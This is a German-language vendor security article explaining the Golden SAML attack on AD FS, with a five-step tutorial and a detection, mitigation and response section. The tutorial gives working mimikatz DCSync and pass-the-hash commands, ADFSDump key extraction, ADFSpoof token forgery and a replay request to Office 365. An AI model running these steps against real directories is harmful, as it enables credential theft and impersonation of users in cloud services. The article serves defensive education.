Magic Quadrant™ für Privileged Access Management 2025: Netwrix zum vierten Jahr in Folge anerkannt. Laden Sie den Bericht herunter.

Plattform

Golden SAML-Angriff

Golden SAML ist in seinem Konzept ähnlich wie die Golden Ticket -Technik. Der Unterschied besteht darin, dass anstatt des Active Directory-Geheimnisses, das Kerberos-Tickets signiert, das Geheimnis kompromittiert wird, das zur Signierung der von Active Directory Federation Services (AD FS) erstellten SAML-Zusicherungen verwendet wird, was häufig genutzt wird, um die Active Directory-Identität auf Cloud-Anwendungen auszuweiten.

Für einen Golden SAML-Angriff muss ein Angreifer zuerst das AD FS-Dienstkonto auf dem AD FS-Server kompromittieren. Nachdem sie sich als AD FS-Dienstkonto authentifiziert haben, können sie Werkzeuge wie ADFSDump verwenden, um die benötigten Informationen zu extrahieren:
• Das Token-Signaturzertifikat und seinen privaten Schlüssel
• Den Distributed Key Manager (DKM)-Schlüssel aus Active Directory
• Die Liste der Dienste, für die der AD FS-Server konfiguriert ist, um ein Identitätsanbieter zu sein

Bedrohungszusammenfassung

Ziel: AD FS und zugehörige Dienste

Tools: AAD Internals, ADFSDump, shimit, ADFSpoof, mimikatz

ATT&CK® Taktik: Credential Access

ATT&CK-Technik: Fälschung von Web-Anmeldeinformationen: SAML-Tokens

Schwierigkeit

Erkennung: Hart

Milderung: Mittel

Antwort: Hard

Angriffs-Tutorial: Wie der Golden SAML-Angriff funktioniert

SCHRITT 1: Kompromittieren Sie den AD FS-Dienst

Ein Angreifer kann verschiedene Methoden verwenden, um den AD FS-Dienst zu kompromittieren. Im Allgemeinen reicht jedes Mittel, um administrativen Zugang zum AD FS-Server zu erlangen. Das folgende Beispiel verwendet einige Techniken: LDAP-Reconnaissance, um AD FS zu entdecken, DCSync, um die Hashes des Dienstkontos zu exportieren, und dann Pass the Hash (PtH), um eine Sitzung auf dem AD FS-Server als das Dienstkonto zu erhalten.

Code

      # LDAP reconnaissance for AD FS / AADC Items

## ADFS Uses a Host SPN on the service account for the ADFS Service Portal. If the portal is known (ADFS/STS/FS etc.) it can be discovered

Get-ADObject -filter { ServicePrincipalName -contains “*adfs*” -or ServicePrincipalName -contains “*STS*” -or ServicePrincipalName -contains “*FS*” }

## ADFS User/Service/computer Accounts

Get-ADObject -filter { samaccountname -like “*adfs*” -or description -like “*adfs*” -or description -like “*aadc*” }

# Found GMSA Account named adfssvc$

.\mimikatz.exe “lsadump::dcsync /user:adfssvc$”

# Execute PtH

.\mimikatz.exe “privilege::debug” “sekurlsa::pth /user:aadcsvc$ /domain:domain.local /ntlm:f0f13a15b218cb98d1ada6484e380fe6 /aes256:f66c03bf486b3b5c7c40d526af00d3b89bf2f120a24059a739005a1c17d1d909 /aes128:569afe31a386f460e69e7915895837f8”
      

Ausgabe

      # Command 1 #

DistinguishedNameNameObjectClass ObjectGUID

-------------------------------- ----------

CN=ADFS,OU=Servers,DC=domain,DC=localADFScomputerfbf560c9-da5e-42b9-8f80-9c9a37006c9b

CN=MSOL_81f4a7929078,CN=Users,DC=domain,DC=local MSOL_81f4a7929078 user38348edf-8a4a-400e-83b4-eb88a57b78a7

# Command 2 #

DistinguishedNameNameObjectClassObjectGUID

------------------------------------------

CN=ADFS,OU=Servers,DC=domain,DC=localADFScomputerfbf560c9-da5e-42b9…

CN=aadcsvc,CN=Managed Service Accounts,DC=domain,DC=local aadcsvc msDS-GroupManagedServiceAccount f1709f9d-e137-4185.

# Command 3 #

mimikatz(commandline) # lsadump::dcsync /user:domain\da

[DC] 'domain.local' will be the domain

[DC] 'DC.domain.local' will be the DC server

[DC] 'aadcsvc$ ' will be the user account

[rpc] Service: ldap

[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN: DA

--- Output truncated ---

Credentials:

Hash NTLM: f0f13a15b218cb98d1ada6484e380fe6

--- Output truncated ---

* Primary:Kerberos-Newer-Keys *

Default Salt : DOMAIN.LOCALDA

Default Iterations : 4096

Credentials

aes256_hmac(4096) : f66c03bf486b3b5c7c40d526af00d3b89bf2f120a24059a739005a1c17d1d909

aes128_hmac(4096) : 569afe31a386f460e69e7915895837f8

# Command 4 #

# New Window Opens for PTH #
      

SCHRITT 2: Extrahieren Sie die erforderlichen Informationen

Nachdem die Authentifizierung als AD FS-Dienstkonto erfolgt ist, muss der Angreifer nun auf die Informationen zugreifen und diese exportieren, die benötigt werden, um das SAML-Token zu fälschen.

In diesem Beispiel werden wir das Utility ADFSDump verwenden, das sich lokal mit der AD FS-Datenbank verbindet, um das EncryptedPFX-Element der Token Signing Service-Einstellungen zu extrahieren, und es stellt auch eine Verbindung zum Active Directory her, um den DKM-Schlüssel zu exportieren. Sie müssen die Ausgabe wie folgt in Textdateien kopieren:

  • DKMKey.txt wird den DKM-Schlüssel enthalten.
  • TKSKey.txt wird den Token Signing-Schlüssel enthalten.

Code

      ADFSDump.exe
      


Ausgabe

      _______ ___________ ____

/| / __ \/ ____/ ___// __ \__ ______ ___ ____

/ /| | / / / / /_\__ \/ / / / / / / __ `__ \/ __ \

/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / / / / / / /_/ /

/_/ |_/_____/_//____/_____/\__,_/_/ /_/ /_/ .___/

/_/

Created by @doughsec

## Extracting Private Key from Active Directory Store

[-] Domain is domain.local

[-] Private Key: 05-77-08-31-87-5E-A4-24-6E-C7-EE-48-64-6F-47-23-EB-D6-56-71-DD-3C-42-D0-DE-6B-58-13-16-DF-CB-57

## Reading Encrypted Signing Key from Database

[-] Encrypted Token Signing Key Begin

AAAAAQAAAAAEEN71Kh/hvD9Jk

--- output truncated---

DeMPt0Myf9vtUZow==

[-] Encrypted Token Signing Key End

## Reading The Issuer Identifier

[-] Issuer Identifier: http://sts.stealthbitslab.com/adfs/services/trust

[-] Detected AD FS 2019

[-] Uncharted territory! This might not work...

## Reading Relying Party Trust Information from Database

[-]

Microsoft Office 365 Identity Platform Worldwide

==================

Enabled: True

Sign-In Protocol: WsFed-SAML (SAML 1.1)

Sign-In Endpoint: https://login.microsoftonline.com/login.srf

Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256

SamlResponseSignatureType: 1;

Identifier: urn:federation:MicrosoftOnline

Access Policy:

Access Policy Parameter:

Issuance Rules: @RuleName = "Issue UPN"

c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"]

=> issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/claims/UPN"), query = "samAccountName={0};userPrincipalName;{1}", param = regexreplace(c.Value, "(?<domain>[^\\]+)\\(?<user>.+)", "${user}"), param = c.Value);

--- Output Truncated ---

      

SCHRITT 3: Konvertieren Sie die abgerufenen Informationen

Als Nächstes muss der Angreifer die Informationen in ein Format umwandeln, das die Tools verwenden können:

  • TKSKey.txt muss Base64-dekodiert werden.
  • DKMKey.txt muss in hexadezimale Werte umgewandelt werden.

Um dies zu erreichen, können sie Werkzeuge wie HexEdit verwenden oder den folgenden Code im Terminalmodus auf einem Linux-Rechner ausführen:

      # Convert TKSKey.txt to TKSKey.bin

cat TKSKey.txt | base64 -d > TKSKey.bin

# Convert DKMKey.txt to DKMKey.bin

# tr -d "-" -> Deletes all -'s

# xxd -r -p -> Read Hexdump

cat DKMkey.txt | tr -d "-" | xxd -r -p > DKMkey.bin
      

SCHRITT 4: Erstellen Sie das Golden SAML-Token

Der Angreifer hat nun alle notwendigen Details, um das SAML-Token zu fälschen. In diesem Beispiel wird das Tool ADFSpoof verwendet, um ein Golden SAML-Token für den Benutzer ADA_Fox@stealthbitslab.com zu erstellen.

Code

      Python3.6 ADFSSpoof.py -b TKSKey.bin PKey.bin --server stealthbitslab.com o365 --upn ADA_FOX@stealthbitslab.com --objectguid {f37580cd-XXXX-XXXX-XXXX-6231f903a8c1}
      

Ausgabe

      _______ _______________

/| / __ \/ ____/ ___/____ ____ ____ / __/

/ /| | / / / / /_\__ \/ __ \/ __ \/ __ \/ /_

/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / /_/ / __/

/_/ |_/_____/_//____/ .___/\____/\____/_/

/_/

A tool to for AD FS security tokens

Created by @doughsec

%3Ct%3ARequestSecurityTokenResponse%20xmlns%3At%3D%22http%3A//schemas.xmlsoap.org/

--- output truncated ---

t%3AKeyType%3E%3C/t%3ARequestSecurityTokenResponse%3E
      

SCHRITT 5: Verwenden Sie das Golden SAML-Token, um auf Office 365 zuzugreifen

Der Angreifer muss nun lediglich das gefälschte SAML-Token verwenden, um sich als ADA_FOX bei Office 365 anzumelden. Dies kann mit Tools wie dem Burp Suite Repeater erfolgen, um Webanfragen zu wiederholen: Verwenden Sie einfach die Ausgabe von Schritt 4 und die untenstehenden Webanfrageinformationen, um die Anfrage zu wiederholen. und dann die Funktion „Anfrage im Browser“ nutzen, um diese Anfrage im Browser durchzuführen. Ist das erledigt, wird der Angreifer aufgefordert, zur Anmeldeseite weiterzugehen.

Code

      POST /login.srf HTTP/1.1

Host: login.microsoftonline.com

Connection: close

Content-Length: 7962

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

DNT: 1

wa=wsignin1.0&wresult={STEP 4 OUTPUT}

      

Erkennen, Minderung und Reaktion

Erkennen

Schwierigkeit: Schwer

Es ist möglich, Anzeichen einer Golden SAML-Ausnutzung an zwei Stellen zu erkennen:

  • Wenn der Gegner die Signaturgeheimnisse kompromittiert (Schritt 2)
  • Wenn der Gegner ein gefälschtes Token verwendet (Schritt 5)

Erkennung bei Secret Compromise

Wie oben detailliert beschrieben, muss ein Angreifer, bevor er ein SAML-Token fälschen kann, den AD FS-Dienst kompromittieren und das AD FS-Signaturzertifikat sowie dessen privaten Schlüssel exportieren. Verteidiger sollten auf ungewöhnliche Anmeldungen am AD FS-Server sowie auf ungewöhnliche Authentifizierungsquellen vom AD FS-Dienstkonto selbst achten. Darüber hinaus sollten die folgenden Ereignisse auf Zertifikatsexporte am AD FS-Server überwacht werden:

70

Ereignisprotokoll

System

Information

70

Microsoft-Windows-CAPI2/Operational

AD FS-Server

Versuch des privaten Schlüsselexports (mimikatz)

1007

Microsoft-Windows-CertificateServicesClient-Lifecycle-System/Operational

AD FS-Server

Allgemeiner Zertifikatsexport; keine Informationen darüber, ob der private Schlüssel exportiert wurde

4662

Sicherheit

Domänencontroller

DKM-Schlüsselaufklärung; Wenn ObjectName wie CN=CryptoPolicy,CN=ADFS,CN=Microsoft,CN=Program Data,DC=YourDomain,DC=local ist und Eigenschaften thumbnailPhoto {8d3bca50-1d7e-11d0-a081-00aa006c33ed} enthalten

18

Microsoft-Windows-Sysmon/Operational

AD FS-Server

Named Pipe-Verbindung zur WID-Datenbank nicht vom ADFS-Programm. Erfordert, dass Sysmon korrekt installiert und konfiguriert ist.

Erkennung bei Verwendung eines gefälschten Tokens

Um die Verwendung eines möglicherweise gefälschten SAML-Tokens zu erkennen, ist ein zentrales Protokoll aller Authentifizierungsereignisse von AD FS und verbundenen Dienstanbietern erforderlich. Diese Daten können dann korreliert werden, um zu bestimmen, ob jede Authentifizierung an einer Anwendung tatsächlich durch den AD FS-Dienst erstellt wurde. Wenn ein gefälschtes SAML-Token verwendet wird, gibt es kein Ereignis auf dem AD FS-Server, das mit den Anmeldeprotokollen des Dienstanbieters verknüpft werden kann.

AD FS-Ereignisse werden unter Verwendung der Korrelations-ID (auch als Aktivitäts-ID bekannt) zwischen Ereignissen mit den Dienstanbietern korreliert. Hier ist ein Beispiel für eine legitime Anmeldung, bei der der Dienstanbieter eine Korrelations-ID von 5b0f3b0b-e875-4307-ba98-0a2f0d5aa2ce hat und es ein entsprechendes Ereignis für AD FS gibt, das dieselbe Korrelations-ID aufweist.

  • Anmeldung beim Dienstanbieter
Image
  • AD FS App Token Audit

Der Federation Service hat ein gültiges Token ausgestellt. Siehe XML für Details.

      Activity ID: 5b0f3b0b-e875-4307-ba98-0a2f0d5aa2ce

Additional Data

XML: <?xml version="1.0" encoding="utf-16"?>

<AuditBase xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="AppTokenAudit">

<AuditType>AppToken</AuditType>

<AuditResult>Success</AuditResult>

<FailureType>None</FailureType>

<ErrorCode>N/A</ErrorCode>

<ContextComponents>

<Component xsi:type="ResourceAuditComponent">

<RelyingParty>urn:federation:MicrosoftOnline</RelyingParty>

<ClaimsProvider>AD AUTHORITY</ClaimsProvider>

<UserId>DOMAIN\ADA_FOX</UserId>

</Component>

<Component xsi:type="AuthNAuditComponent">

<PrimaryAuth>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</PrimaryAuth>

<DeviceAuth>false</DeviceAuth>

<DeviceId>N/A</DeviceId>

<MfaPerformed>false</MfaPerformed>

<MfaMethod>N/A</MfaMethod>

<TokenBindingProvidedId>false</TokenBindingProvidedId>

<TokenBindingReferredId>false</TokenBindingReferredId>

<SsoBindingValidationLevel>TokenUnbound</SsoBindingValidationLevel>

</Component>

<Component xsi:type="ProtocolAuditComponent">

<OAuthClientId>N/A</OAuthClientId>

<OAuthGrant>N/A</OAuthGrant>

</Component>

<Component xsi:type="RequestAuditComponent">

<Server>http://sts.stealthbitslab.com/adfs/services/trust</Server>

<AuthProtocol>WSFederation</AuthProtocol>

<NetworkLocation>Intranet</NetworkLocation>

<IpAddress>10.0.0.55</IpAddress>

<ForwardedIpAddress />

<ProxyIpAddress>N/A</ProxyIpAddress>

<NetworkIpAddress>N/A</NetworkIpAddress>

<ProxyServer>N/A</ProxyServer>

<UserAgentString>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36</UserAgentString>

<Endpoint>/adfs/ls/</Endpoint>

</Component>

</ContextComponents>

</AuditBase>
      

Mildern

Schwierigkeitsgrad: Mittel

Der Schutz von AD FS-Servern und Dienstkonten ist von größter Bedeutung, um Golden SAML-Angriffe zu mildern. Zwei bewährte Methoden sind besonders nützlich:

  • Erlauben Sie Benutzern nicht, administrative Privilegien über Grenzen hinweg zu haben.
  • Behandeln Sie AD FS-Server mit dem gleichen Sicherheitsniveau wie Domänencontroller

Antworten

Schwierigkeitsgrad: Schwer

Wenn ein Golden SAML-Token erkannt wird, sollte von einem vollständigen Identitätsdiebstahl ausgegangen werden. Mindestens sind mehrere manuelle Schritte erforderlich, wie das Rotieren des Token-Signaturzertifikats und die Untersuchung des Ausmaßes des Kompromisses.

  • Aktivieren Sie den Incident-Response-Prozess und alarmieren Sie das Reaktionsteam.

Teilen auf

Zugehörige Cybersecurity-Angriffe anzeigen

Missbrauch von Entra ID-Anwendungsberechtigungen – Funktionsweise und Verteidigungsstrategien

AdminSDHolder-Modifikation – Funktionsweise und Verteidigungsstrategien

AS-REP Roasting Attack - Funktionsweise und Verteidigungsstrategien

Hafnium-Angriff - Funktionsweise und Verteidigungsstrategien

DCSync-Angriffe erklärt: Bedrohung für die Active Directory Security

Pass-the-Hash-Angriff

Verständnis von Golden Ticket-Angriffen

Angriffe auf Group Managed Service Accounts

DCShadow-Angriff – Funktionsweise, Beispiele aus der Praxis & Verteidigungsstrategien

ChatGPT Prompt Injection: Risiken, Beispiele und Prävention verstehen

NTDS.dit-Passwortextraktionsangriff

Kerberoasting-Angriff – Funktionsweise und Verteidigungsstrategien

Pass-the-Ticket-Attacke erklärt: Risiken, Beispiele & Verteidigungsstrategien

Password-Spraying-Angriff

Angriff zur Extraktion von Klartext-Passwörtern

Zerologon-Schwachstelle erklärt: Risiken, Exploits und Milderung

Ransomware-Angriffe auf Active Directory

Active Directory mit dem Skeleton Key-Angriff entsperren

Laterale Bewegungen: Was es ist, wie es funktioniert und Präventionsmaßnahmen

Man-in-the-Middle (MITM)-Angriffe: Was sie sind & Wie man sie verhindert

Warum ist PowerShell so beliebt bei Angreifern?

4 Angriffe auf Dienstkonten und wie man sich dagegen schützt

Wie Sie Malware-Angriffe daran hindern, Ihr Geschäft zu beeinträchtigen

Was ist Credential Stuffing?

Kompromittierung von SQL Server mit PowerUpSQL

Was sind Mousejacking-Angriffe und wie kann man sich dagegen verteidigen

Diebstahl von Anmeldeinformationen mit einem Security Support Provider (SSP)

Rainbow-Table-Attacken: Wie sie funktionieren und wie man sich dagegen verteidigt

Ein umfassender Blick auf Passwortangriffe und wie man sie stoppt

LDAP-Aufklärung

Umgehen der MFA mit dem Pass-the-Cookie-Angriff

Silver Ticket Attack